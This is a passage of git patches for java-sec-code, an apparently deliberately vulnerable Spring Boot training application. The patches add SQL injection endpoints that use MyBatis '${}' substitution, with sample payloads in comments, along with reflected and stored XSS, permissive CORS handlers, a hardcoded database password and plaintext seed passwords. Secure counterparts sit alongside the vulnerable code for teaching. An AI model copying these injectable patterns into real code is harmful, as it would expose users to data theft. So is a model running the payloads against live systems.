From 59a72efaf04fc4ea603ef0b910bd4c6f9f3dd3c3 Mon Sep 17 00:00:00 2001 From: Anemone95 Date: Tue, 15 Oct 2019 15:07:46 +0800 Subject: [PATCH 01/38] 19/10/15 add more xss&sql vuln code --- .../java/org/joychou/controller/SQLI.java | 47 ++++++++++--- src/main/java/org/joychou/controller/XSS.java | 67 +++++++++++++++++-- .../java/org/joychou/mapper/UserMapper.java | 8 +++ src/main/resources/application.properties | 3 +- src/main/resources/create_db.sql | 9 +++ src/main/resources/mapper/UserMapper.xml | 5 ++ 6 files changed, 121 insertions(+), 18 deletions(-) create mode 100644 src/main/resources/create_db.sql diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java index a4344b85..5fcb8a16 100644 --- a/src/main/java/org/joychou/controller/SQLI.java +++ b/src/main/java/org/joychou/controller/SQLI.java @@ -4,10 +4,13 @@ import org.joychou.mapper.UserMapper; import org.joychou.dao.User; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Configuration; import org.springframework.web.bind.annotation.*; import javax.servlet.http.HttpServletRequest; import java.sql.*; +import java.util.List; /** @@ -16,14 +19,18 @@ * @desc SQL Injection */ +@SuppressWarnings("Duplicates") @RestController @RequestMapping("/sqli") public class SQLI { private static String driver = "com.mysql.jdbc.Driver"; - private static String url = "jdbc:mysql://localhost:3306/java_sec_code"; - private static String user = "root"; - private static String password = "woshishujukumima"; + @Value("${spring.datasource.url}") + private String url; + @Value("${spring.datasource.username}") + private String user; + @Value("${spring.datasource.password}") + private String password; @Autowired private UserMapper userMapper; @@ -36,7 +43,7 @@ public class SQLI { * @param username username */ @RequestMapping("/jdbc/vul") - public static String jdbc_sqli_vul(@RequestParam("username") String username){ + public String jdbc_sqli_vul(@RequestParam("username") String username){ String result = ""; try { Class.forName(driver); @@ -88,7 +95,7 @@ public static String jdbc_sqli_vul(@RequestParam("username") String username){ * @param username username */ @RequestMapping("/jdbc/sec") - public static String jdbc_sqli_sec(@RequestParam("username") String username){ + public String jdbc_sqli_sec(@RequestParam("username") String username){ String result = ""; try { @@ -134,6 +141,28 @@ public static String jdbc_sqli_sec(@RequestParam("username") String username){ return result; } + /** + * vul code + * http://localhost:8080/sqli/mybatis/vul01?username=joychou' or '1'='1 + * + * @param username username + */ + @GetMapping("/mybatis/vul01") + public List mybatis_vul1(@RequestParam("username") String username) { + return userMapper.findByUserNameVul(username); + } + + /** + * vul code + * http://localhost:8080/sqli/mybatis/vul02?username=joychou' or '1'='1' %23 + * + * @param username username + */ + @GetMapping("/mybatis/vul02") + public List mybatis_vul2(@RequestParam("username") String username) { + return userMapper.findByUserNameVul2(username); + } + /** * security code @@ -142,12 +171,10 @@ public static String jdbc_sqli_sec(@RequestParam("username") String username){ * @param username username */ @GetMapping("/mybatis/sec01") - public User mybatis_vul1(@RequestParam("username") String username) { + public User mybatis_sec1(@RequestParam("username") String username) { return userMapper.findByUserName(username); } - - /** * security code * http://localhost:8080/sqli/mybatis/sec02?id=1 @@ -155,7 +182,7 @@ public User mybatis_vul1(@RequestParam("username") String username) { * @param id id */ @GetMapping("/mybatis/sec02") - public User mybatis_v(@RequestParam("id") Integer id) { + public User mybatis_sec2(@RequestParam("id") Integer id) { return userMapper.findById(id); } @@ -165,7 +192,7 @@ public User mybatis_v(@RequestParam("id") Integer id) { * http://localhost:8080/sqli/mybatis/sec03 **/ @GetMapping("/mybatis/sec03") - public User mybatis_vul2() { + public User mybatis_sec3() { return userMapper.OrderByUsername(); } diff --git a/src/main/java/org/joychou/controller/XSS.java b/src/main/java/org/joychou/controller/XSS.java index 70d4302d..fcd5d7f5 100644 --- a/src/main/java/org/joychou/controller/XSS.java +++ b/src/main/java/org/joychou/controller/XSS.java @@ -1,11 +1,22 @@ package org.joychou.controller; import org.apache.commons.lang.StringUtils; +import org.joychou.dao.User; +import org.joychou.mapper.UserMapper; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.CookieValue; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; +import javax.annotation.Resource; +import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.sql.Connection; +import java.sql.DriverManager; +import java.sql.Statement; /** * @author JoyChou (joychou@joychou.org) @@ -16,15 +27,59 @@ @Controller @RequestMapping("/xss") public class XSS { - @RequestMapping("/print") + + /** + * Vul Code. + * ReflectXSS + * http://localhost:8080/xss/reflect?xss= + * + * @param xss unescape string + */ + @RequestMapping("/reflect") + @ResponseBody + public static String reflect(String xss) + { + return xss; + } + + /** + * Vul Code. + * StoredXSS Step1 + * http://localhost:8080/xss/stored/store?xss= + * + * @param xss unescape string + */ + @RequestMapping("/stored/store") @ResponseBody - public static String ssrf_URLConnection(HttpServletRequest request) + public String store(String xss, HttpServletResponse response) { - String con = request.getParameter("con"); - return con; + Cookie cookie = new Cookie("xss", xss); + response.addCookie(cookie); + return "Set param into cookie"; + } - // fix code - // return encode(con); + /** + * Vul Code. + * StoredXSS Step2 + * http://localhost:8080/xss/stored/show + * + * @param xss unescape string + */ + @RequestMapping("/stored/show") + @ResponseBody + public String show(@CookieValue("xss") String xss) + { + return xss; + } + /** + * safe Code. + * http://localhost:8080/xss/safe + * + */ + @RequestMapping("/safe") + @ResponseBody + public static String safe(String xss){ + return encode(xss); } public static String encode(String origin) { diff --git a/src/main/java/org/joychou/mapper/UserMapper.java b/src/main/java/org/joychou/mapper/UserMapper.java index 36c2f734..962f465d 100644 --- a/src/main/java/org/joychou/mapper/UserMapper.java +++ b/src/main/java/org/joychou/mapper/UserMapper.java @@ -5,6 +5,8 @@ import org.apache.ibatis.annotations.Select; import org.joychou.dao.User; +import java.util.List; + @Mapper public interface UserMapper { @@ -15,7 +17,13 @@ public interface UserMapper { @Select("select * from users where username = #{username}") User findByUserName(@Param("username") String username); + @Select("select * from users where username = '${username}'") + List findByUserNameVul(@Param("username") String username); + + List findByUserNameVul2(String username); + User findById(Integer id); User OrderByUsername(); + } diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index 25ad5e97..d144baa5 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -1,11 +1,10 @@ -spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?AllowPublicKeyRetrieval=true&useSSL=false +spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?AllowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC spring.datasource.username=root spring.datasource.password=woshishujukumima spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver mybatis.mapper-locations=classpath:mapper/*.xml - # Spring Boot Actuator Vulnerable Config management.security.enabled=false # logging.config=classpath:logback-online.xml diff --git a/src/main/resources/create_db.sql b/src/main/resources/create_db.sql new file mode 100644 index 00000000..350b24f1 --- /dev/null +++ b/src/main/resources/create_db.sql @@ -0,0 +1,9 @@ +USE `java_sec_code`; +CREATE TABLE IF NOT EXISTS `users`( + `id` INT UNSIGNED AUTO_INCREMENT, + `username` VARCHAR(255) NOT NULL, + `password` VARCHAR(255) NOT NULL, + PRIMARY KEY (`id`) +)ENGINE=InnoDB DEFAULT CHARSET=utf8; +INSERT INTO `users` VALUES (1, 'admin', 'admin123'); +INSERT INTO `users` VALUES (2, 'joychou', 'joychou123'); diff --git a/src/main/resources/mapper/UserMapper.xml b/src/main/resources/mapper/UserMapper.xml index dd88f424..df4344e6 100644 --- a/src/main/resources/mapper/UserMapper.xml +++ b/src/main/resources/mapper/UserMapper.xml @@ -13,10 +13,15 @@ + + + From da5ea84b45b040a6301378dfc73ba87d0a592cae Mon Sep 17 00:00:00 2001 From: Anemone95 Date: Tue, 15 Oct 2019 15:10:26 +0800 Subject: [PATCH 02/38] 19/10/15 rm unuseful code --- src/main/java/org/joychou/controller/SQLI.java | 2 -- 1 file changed, 2 deletions(-) diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java index 5fcb8a16..9275593c 100644 --- a/src/main/java/org/joychou/controller/SQLI.java +++ b/src/main/java/org/joychou/controller/SQLI.java @@ -5,10 +5,8 @@ import org.joychou.dao.User; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; -import org.springframework.context.annotation.Configuration; import org.springframework.web.bind.annotation.*; -import javax.servlet.http.HttpServletRequest; import java.sql.*; import java.util.List; From 98212169c7425ca4acb1e742258887f552f73849 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Sat, 2 Nov 2019 11:01:53 +0800 Subject: [PATCH 03/38] add xxe return back filecontent --- .../java/org/joychou/controller/Cookies.java | 81 +++++++++++++++++++ .../joychou/controller/jsonp/JSONPAdvice.java | 4 +- src/main/java/org/joychou/util/WebUtils.java | 6 ++ 3 files changed, 90 insertions(+), 1 deletion(-) create mode 100644 src/main/java/org/joychou/controller/Cookies.java diff --git a/src/main/java/org/joychou/controller/Cookies.java b/src/main/java/org/joychou/controller/Cookies.java new file mode 100644 index 00000000..5a32b191 --- /dev/null +++ b/src/main/java/org/joychou/controller/Cookies.java @@ -0,0 +1,81 @@ +package org.joychou.controller; + +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.RequestMapping; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import org.joychou.util.WebUtils; +import org.springframework.web.bind.annotation.RestController; +import static org.springframework.web.util.WebUtils.getCookie; + +@RestController +@RequestMapping("/cookie") +public class Cookies { + + private static String NICK = "nick"; + + @RequestMapping(value = "/vuln01") + private String vuln01(HttpServletRequest req) { + String nick = WebUtils.getCookieValueByName(req, NICK); // key code + return "Cookie nick: " + nick; + } + + + @RequestMapping(value = "/vuln02") + private String vuln02(HttpServletRequest req) { + String nick = null; + Cookie[] cookie = req.getCookies(); + + if (cookie != null) { + nick = getCookie(req, NICK).getValue(); // key code + } + + return "Cookie nick: " + nick; + } + + + @RequestMapping(value = "/vuln03") + private String vuln03(HttpServletRequest req) { + String nick = null; + Cookie cookies[] = req.getCookies(); + if (cookies != null) { + for (Cookie cookie : cookies) { + // key code. Equals can also be equalsIgnoreCase. + if (NICK.equals(cookie.getName())) { + nick = cookie.getValue(); + } + } + } + return "Cookie nick: " + nick; + } + + + @RequestMapping(value = "/vuln04") + private String vuln04(HttpServletRequest req) { + String nick = null; + Cookie cookies[] = req.getCookies(); + if (cookies != null) { + for (Cookie cookie : cookies) { + if (cookie.getName().equalsIgnoreCase(NICK)) { // key code + nick = cookie.getValue(); + } + } + } + return "Cookie nick: " + nick; + } + + + + @RequestMapping(value = "/vuln05") + private String vuln05(@CookieValue("nick") String nick) { + return "Cookie nick: " + nick; + } + + + @RequestMapping(value = "/vuln06") + private String vuln06(@CookieValue(value = "nick") String nick) { + return "Cookie nick: " + nick; + } + +} diff --git a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java b/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java index f6c591f6..5463a5a5 100644 --- a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java +++ b/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java @@ -4,7 +4,9 @@ import org.springframework.web.bind.annotation.ControllerAdvice; import org.springframework.web.servlet.mvc.method.annotation.AbstractJsonpResponseBodyAdvice; - +// AbstractJsonpResponseBodyAdvice will be removed as of Spring Framework 5.1, use CORS instead. +// Since Spring Framework 4.1 +// Springboot 2.1.0 RELEASE use spring framework 5.1.2 @ControllerAdvice public class JSONPAdvice extends AbstractJsonpResponseBodyAdvice { diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java index 21cdcd53..685340c6 100644 --- a/src/main/java/org/joychou/util/WebUtils.java +++ b/src/main/java/org/joychou/util/WebUtils.java @@ -1,5 +1,6 @@ package org.joychou.util; +import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; import java.io.IOException; import java.io.InputStream; @@ -17,4 +18,9 @@ public static String convertStreamToString(java.io.InputStream is) { java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } + + public static String getCookieValueByName(HttpServletRequest request, String cookieName) { + Cookie cookie = org.springframework.web.util.WebUtils.getCookie(request, cookieName); + return cookie == null ? null : cookie.getValue(); + } } From 22f0ecda9a220173a738e73ed55a748f6ad7e7b6 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Mon, 9 Dec 2019 22:56:39 +0800 Subject: [PATCH 04/38] add cors security code --- java-sec-code.iml | 4 +- pom.xml | 2 +- .../java/org/joychou/config/CorsConfig.java | 29 +++++++++++++ .../java/org/joychou/config/CorsConfig2.java | 28 +++++++++++++ .../java/org/joychou/controller/CORS.java | 41 ++++++++++++++++--- .../org/joychou/filter/SecCorsFilter.java | 36 ++++++++++++++++ .../joychou/security/WebSecurityConfig.java | 28 +++++++++++++ 7 files changed, 159 insertions(+), 9 deletions(-) create mode 100644 src/main/java/org/joychou/config/CorsConfig.java create mode 100644 src/main/java/org/joychou/config/CorsConfig2.java create mode 100644 src/main/java/org/joychou/filter/SecCorsFilter.java diff --git a/java-sec-code.iml b/java-sec-code.iml index 0140638a..5a12be26 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -181,8 +181,8 @@ - - + + diff --git a/pom.xml b/pom.xml index 65c1d5bf..dd14d9ed 100644 --- a/pom.xml +++ b/pom.xml @@ -206,7 +206,7 @@ org.apache.poi poi-ooxml - 3.10-FINAL + 3.9 diff --git a/src/main/java/org/joychou/config/CorsConfig.java b/src/main/java/org/joychou/config/CorsConfig.java new file mode 100644 index 00000000..8125e518 --- /dev/null +++ b/src/main/java/org/joychou/config/CorsConfig.java @@ -0,0 +1,29 @@ +package org.joychou.config; + +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.servlet.config.annotation.CorsRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter; + + +@Configuration +public class CorsConfig +{ + @Bean + public WebMvcConfigurer corsConfigurer() + { + return new WebMvcConfigurerAdapter() { + @Override + public void addCorsMappings(CorsRegistry registry) { + // 设置cors origin白名单。区分http和https,并且默认不会拦截同域请求。 + String[] allowOrigins = {"http://test.joychou.org", "https://test.joychou.org"}; + + registry.addMapping("/cors/sec/webMvcConfigurer") + .allowedOrigins(allowOrigins) + .allowedMethods("GET", "POST") + .allowCredentials(true); + } + }; + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/config/CorsConfig2.java b/src/main/java/org/joychou/config/CorsConfig2.java new file mode 100644 index 00000000..97b9b59e --- /dev/null +++ b/src/main/java/org/joychou/config/CorsConfig2.java @@ -0,0 +1,28 @@ +//package org.joychou.config; +// +//import org.springframework.boot.web.servlet.FilterRegistrationBean; +//import org.springframework.context.annotation.Bean; +//import org.springframework.context.annotation.Configuration; +//import org.springframework.web.cors.CorsConfiguration; +//import org.springframework.web.cors.UrlBasedCorsConfigurationSource; +//import org.springframework.web.filter.CorsFilter; +// +//@Configuration +//public class CorsConfig2 { +// +// @Bean +// public FilterRegistrationBean corsFilter() { +// UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); +// CorsConfiguration config = new CorsConfiguration(); +// config.setAllowCredentials(true); +// config.addAllowedOrigin("http://test.joychou.org"); +// config.addAllowedOrigin("https://test.joychou.org"); +// config.addAllowedHeader("*"); +// config.addAllowedMethod("GET"); +// config.addAllowedMethod("POST"); +// source.registerCorsConfiguration("/cors/getCsrfToken/sec_03", config); +// FilterRegistrationBean bean = new FilterRegistrationBean(new CorsFilter(source)); +// bean.setOrder(0); +// return bean; +// } +//} diff --git a/src/main/java/org/joychou/controller/CORS.java b/src/main/java/org/joychou/controller/CORS.java index 35d2a178..ec8c581c 100644 --- a/src/main/java/org/joychou/controller/CORS.java +++ b/src/main/java/org/joychou/controller/CORS.java @@ -1,6 +1,7 @@ package org.joychou.controller; import org.joychou.security.SecurityUtil; +import org.springframework.security.web.csrf.CsrfToken; import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.RequestMapping; import org.joychou.controller.jsonp.JSONP; @@ -22,31 +23,59 @@ public class CORS { protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; protected static String[] urlwhitelist = {"joychou.com", "joychou.me"}; - @RequestMapping("/vuls1") + @RequestMapping("/vuln/origin") private static String vuls1(HttpServletRequest request, HttpServletResponse response) { - // 获取Header中的Origin String origin = request.getHeader("origin"); response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的 response.setHeader("Access-Control-Allow-Credentials", "true"); // cookie return info; } - @RequestMapping("/vuls2") + @RequestMapping("/vuln/setHeader") private static String vuls2(HttpServletResponse response) { - // 不建议设置为* // 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常 response.setHeader("Access-Control-Allow-Origin", "*"); return info; } + @CrossOrigin("*") - @RequestMapping("/vuls3") + @RequestMapping("/vuln/crossOrigin") private static String vuls3(HttpServletResponse response) { return info; } - @RequestMapping("/sec") + /** + * http://localhost:8080/cors/sec/webMvcConfigurer + * https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/webMvcConfigurer.java + */ + @RequestMapping("/sec/webMvcConfigurer") + public CsrfToken getCsrfToken_01(CsrfToken token) { + return token; + } + + + /** + * https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java + */ + @RequestMapping("/sec/httpCors") + public CsrfToken getCsrfToken_02(CsrfToken token) { + return token; + } + + + /** + * https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/filter/SecCorsFilter.java + */ + @RequestMapping("/sec/corsFitler") + public CsrfToken getCsrfToken_03(CsrfToken token) { + return token; + } + + + // http://localhost:8080/cors/sec/checkOrigin + @RequestMapping("/sec/checkOrigin") public String seccode(HttpServletRequest request, HttpServletResponse response) { String origin = request.getHeader("Origin"); diff --git a/src/main/java/org/joychou/filter/SecCorsFilter.java b/src/main/java/org/joychou/filter/SecCorsFilter.java new file mode 100644 index 00000000..67493cb0 --- /dev/null +++ b/src/main/java/org/joychou/filter/SecCorsFilter.java @@ -0,0 +1,36 @@ +package org.joychou.filter; + +import org.springframework.core.Ordered; +import org.springframework.core.annotation.Order; +import org.springframework.stereotype.Component; +import org.springframework.web.cors.CorsConfiguration; +import org.springframework.web.cors.UrlBasedCorsConfigurationSource; +import org.springframework.web.filter.CorsFilter; + +/** + * 由于CorsFilter和spring security冲突,所以改为下面的代码。 + * CorsFilter可以参考config/CorsConfig2的代码。 + */ +@Component +@Order(Ordered.HIGHEST_PRECEDENCE) +public class SecCorsFilter extends CorsFilter { + + public SecCorsFilter() { + super(configurationSource()); + } + + private static UrlBasedCorsConfigurationSource configurationSource() { + CorsConfiguration config = new CorsConfiguration(); + config.setAllowCredentials(true); + config.addAllowedOrigin("http://test.joychou.org"); + config.addAllowedOrigin("https://test.joychou.org"); + config.addAllowedHeader("*"); + config.addAllowedMethod("GET"); + config.addAllowedMethod("POST"); + + UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); + source.registerCorsConfiguration("/cors/sec/corsFitler", config); + + return source; + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java index 127115f3..684e5513 100644 --- a/src/main/java/org/joychou/security/WebSecurityConfig.java +++ b/src/main/java/org/joychou/security/WebSecurityConfig.java @@ -2,6 +2,7 @@ import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; import org.springframework.security.config.annotation.web.builders.HttpSecurity; @@ -9,7 +10,12 @@ import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; import org.springframework.security.web.csrf.CookieCsrfTokenRepository; import org.springframework.security.web.util.matcher.RequestMatcher; +import org.springframework.web.cors.CorsConfiguration; +import org.springframework.web.cors.CorsConfigurationSource; +import org.springframework.web.cors.UrlBasedCorsConfigurationSource; + import javax.servlet.http.HttpServletRequest; +import java.util.ArrayList; import java.util.Arrays; import java.util.HashSet; @@ -58,6 +64,8 @@ protected void configure(HttpSecurity http) throws Exception { http.exceptionHandling().accessDeniedHandler(new CsrfAccessDeniedHandler()); // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()); + http.cors(); + // spring security login settings http.authorizeRequests() .antMatchers("/css/**", "/js/**").permitAll() // permit static resources @@ -69,6 +77,26 @@ protected void configure(HttpSecurity http) throws Exception { .rememberMe(); // tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会话将过期。为了解决这一问题,引入rememberMe功能。 } + /** + * Global cors configure + */ + @Bean + CorsConfigurationSource corsConfigurationSource() + { + // Set cors origin white list + ArrayList allowOrigins = new ArrayList(); + allowOrigins.add("http://test.joychou.org"); + allowOrigins.add("https://test.joychou.org"); // 区分http和https,并且默认不会拦截同域请求。 + + CorsConfiguration configuration = new CorsConfiguration(); + configuration.setAllowedOrigins(allowOrigins); + configuration.setAllowCredentials(true); + configuration.setAllowedMethods(Arrays.asList("GET", "POST")); + UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); + source.registerCorsConfiguration("/cors/sec/httpCors", configuration); // ant style + return source; + } + @Autowired public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception { auth From 6ae05278b38328cead4e293894f4efab6713cc11 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Thu, 19 Dec 2019 19:50:00 +0800 Subject: [PATCH 05/38] add filter cors fix code --- .../java/org/joychou/config/CorsConfig2.java | 1 + .../controller/{CORS.java => Cors.java} | 24 ++++---- .../org/joychou/controller/URLRedirect.java | 2 +- .../org/joychou/controller/jsonp/JSONP.java | 4 +- .../{security => filter}/HttpFilter.java | 9 ++- .../java/org/joychou/filter/OriginFilter.java | 59 +++++++++++++++++++ .../org/joychou/security/SecurityUtil.java | 18 +++--- src/main/resources/templates/index.html | 1 + 8 files changed, 91 insertions(+), 27 deletions(-) rename src/main/java/org/joychou/controller/{CORS.java => Cors.java} (84%) rename src/main/java/org/joychou/{security => filter}/HttpFilter.java (88%) create mode 100644 src/main/java/org/joychou/filter/OriginFilter.java diff --git a/src/main/java/org/joychou/config/CorsConfig2.java b/src/main/java/org/joychou/config/CorsConfig2.java index 97b9b59e..382f6ba7 100644 --- a/src/main/java/org/joychou/config/CorsConfig2.java +++ b/src/main/java/org/joychou/config/CorsConfig2.java @@ -7,6 +7,7 @@ //import org.springframework.web.cors.UrlBasedCorsConfigurationSource; //import org.springframework.web.filter.CorsFilter; // +//// https://spring.io/blog/2015/06/08/cors-support-in-spring-framework //@Configuration //public class CorsConfig2 { // diff --git a/src/main/java/org/joychou/controller/CORS.java b/src/main/java/org/joychou/controller/Cors.java similarity index 84% rename from src/main/java/org/joychou/controller/CORS.java rename to src/main/java/org/joychou/controller/Cors.java index ec8c581c..db526a72 100644 --- a/src/main/java/org/joychou/controller/CORS.java +++ b/src/main/java/org/joychou/controller/Cors.java @@ -18,7 +18,7 @@ @RestController @RequestMapping("/cors") -public class CORS { +public class Cors { protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; protected static String[] urlwhitelist = {"joychou.com", "joychou.me"}; @@ -46,34 +46,34 @@ private static String vuls3(HttpServletResponse response) { } - /** - * http://localhost:8080/cors/sec/webMvcConfigurer - * https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/webMvcConfigurer.java - */ + // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/webMvcConfigurer.java @RequestMapping("/sec/webMvcConfigurer") public CsrfToken getCsrfToken_01(CsrfToken token) { return token; } - /** - * https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java - */ + // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java @RequestMapping("/sec/httpCors") public CsrfToken getCsrfToken_02(CsrfToken token) { return token; } - /** - * https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/filter/SecCorsFilter.java - */ + // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/filter/SecCorsFilter.java @RequestMapping("/sec/corsFitler") public CsrfToken getCsrfToken_03(CsrfToken token) { return token; } + // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/filter/CorsFilter.java + @RequestMapping("/sec/Filter") + public CsrfToken getCsrfToken_04(CsrfToken token) { + return token; + } + + // http://localhost:8080/cors/sec/checkOrigin @RequestMapping("/sec/checkOrigin") public String seccode(HttpServletRequest request, HttpServletResponse response) { @@ -81,7 +81,7 @@ public String seccode(HttpServletRequest request, HttpServletResponse response) // 如果origin不为空并且origin不在白名单内,认定为不安全。 // 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。 - if ( origin != null && !SecurityUtil.checkURLbyEndsWith(origin, urlwhitelist) ) { + if ( origin != null && SecurityUtil.checkURLbyEndsWith(origin, urlwhitelist) == null ) { return "Origin is not safe."; } response.setHeader("Access-Control-Allow-Origin", origin); diff --git a/src/main/java/org/joychou/controller/URLRedirect.java b/src/main/java/org/joychou/controller/URLRedirect.java index 26fc1652..dfd220f2 100644 --- a/src/main/java/org/joychou/controller/URLRedirect.java +++ b/src/main/java/org/joychou/controller/URLRedirect.java @@ -82,7 +82,7 @@ public static void forward(HttpServletRequest request, HttpServletResponse respo public static void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response) throws IOException{ String url = request.getParameter("url"); String urlwhitelist[] = {"joychou.org", "joychou.com"}; - if (!SecurityUtil.checkURLbyEndsWith(url, urlwhitelist)) { + if (SecurityUtil.checkURLbyEndsWith(url, urlwhitelist) == null) { // Redirect to error page. response.sendRedirect("https://test.joychou.org/error3.html"); return; diff --git a/src/main/java/org/joychou/controller/jsonp/JSONP.java b/src/main/java/org/joychou/controller/jsonp/JSONP.java index 34980530..a5c9072f 100644 --- a/src/main/java/org/joychou/controller/jsonp/JSONP.java +++ b/src/main/java/org/joychou/controller/jsonp/JSONP.java @@ -62,7 +62,7 @@ private String referer(HttpServletRequest request) { private String emptyReferer(HttpServletRequest request) { String referer = request.getHeader("referer"); - if (null != referer && !SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) { + if (null != referer && SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist) == null) { return "error"; } @@ -108,7 +108,7 @@ public ModelAndView mappingJackson2JsonView(HttpServletRequest req) { private String safecode(HttpServletRequest request) { String referer = request.getHeader("referer"); - if (!SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) { + if (SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist) == null) { return "error"; } diff --git a/src/main/java/org/joychou/security/HttpFilter.java b/src/main/java/org/joychou/filter/HttpFilter.java similarity index 88% rename from src/main/java/org/joychou/security/HttpFilter.java rename to src/main/java/org/joychou/filter/HttpFilter.java index 2d6354e7..83b4ea13 100644 --- a/src/main/java/org/joychou/security/HttpFilter.java +++ b/src/main/java/org/joychou/filter/HttpFilter.java @@ -1,4 +1,4 @@ -package org.joychou.security; +package org.joychou.filter; import javax.servlet.*; @@ -9,6 +9,7 @@ import org.apache.commons.lang.StringUtils; import org.joychou.config.WebConfig; +import org.joychou.security.SecurityUtil; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.util.AntPathMatcher; @@ -30,7 +31,7 @@ public void init(FilterConfig filterConfig) throws ServletException { } - private final Logger logger= LoggerFactory.getLogger(HttpFilter.class); + private final Logger logger= LoggerFactory.getLogger(this.getClass()); @Override public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) @@ -49,13 +50,15 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter } } + // logger.info("[+] Referer: " + refer); + if (isMatch) { if (WebConfig.getReferSecEnabled()) { // Check referer for all GET requests with callback parameters. for (String callback: WebConfig.getCallbacks()) { if (request.getMethod().equals("GET") && StringUtils.isNotBlank(request.getParameter(callback)) ){ // If the check of referer fails, a 403 forbidden error page will be returned. - if (!SecurityUtil.checkURLbyEndsWith(refer, WebConfig.getReferWhitelist())){ + if (SecurityUtil.checkURLbyEndsWith(refer, WebConfig.getReferWhitelist()) == null ){ logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t" + "Referer: " + refer); response.sendRedirect("https://test.joychou.org/error3.html"); diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java new file mode 100644 index 00000000..5f10c1a1 --- /dev/null +++ b/src/main/java/org/joychou/filter/OriginFilter.java @@ -0,0 +1,59 @@ +package org.joychou.filter; + + +import javax.servlet.*; +import javax.servlet.annotation.WebFilter; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +import org.joychou.security.SecurityUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 推荐使用该全局方案修复Cors跨域漏洞,因为可以校验一级域名。 + * @author JoyChou @ 2019.12.19 + * + */ + +@WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/Filter") +public class OriginFilter implements Filter { + + private static String[] urlwhitelist = {"joychou.org", "joychou.me"}; + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + private final Logger 